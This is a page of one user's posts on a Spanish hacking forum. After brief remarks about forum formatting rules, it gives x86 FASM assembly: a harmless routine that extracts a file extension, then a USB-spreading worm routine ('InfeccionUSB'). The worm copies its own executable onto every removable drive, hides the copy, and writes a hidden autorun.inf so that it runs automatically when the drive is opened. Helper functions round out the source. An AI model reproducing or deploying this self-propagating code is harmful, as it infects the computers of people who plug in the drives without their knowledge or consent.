Cita de: APOKLIPTICO en 22 Mayo 2009, 16:21 PMArreglado
una pequeña correccion, se te quedo afuera el ")" en el link
![;) ;)](https://forum.elhacker.net/Smileys/navidad/wink.gif)
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: APOKLIPTICO en 22 Mayo 2009, 16:21 PMArreglado
una pequeña correccion, se te quedo afuera el ")" en el link
Cita de: mrscript en 22 Mayo 2009, 03:31 AMLee tu las normas , se puede poner texto en color rojo mientras no sea todo el post ya que si no se pudiera tu crees que estarian esos botones ???
lee las normas generales del foro y de cualquier otra comunidad
No letras rojas, no mayusculas (Hace ver que estas gritando)
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0
BufferUnidades rb 31
proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad
invoke GlobalAlloc,GPTR,MAX_PATH
mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
stdcall ConseguirNombre,[Miruta]
mov [Minombre],eax
.infinito:
invoke SleepEx,1000,FALSE
stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
mov ebx,BufferUnidades
.bucleDetectaExtraible:
invoke GetDriveTypeA,ebx
.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
; stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE
invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
;SetFileAttributes
invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiAutorun] ,eax
invoke GlobalAlloc,GPTR,MAX_PATH
mov [RutaAutorun],eax
stdcall Concat,Autorun,[Minombre], [MiAutorun]
stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [handleCreado], eax
invoke lstrlenA,[MiAutorun]
mov [tamaño],eax
invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
invoke CloseHandle, [handleCreado]
invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]
invoke GlobalFree,[RutaAutorun]
.endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif
.if byte[ebx] = 0
invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp .bucleDetectaExtraible
.endif
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp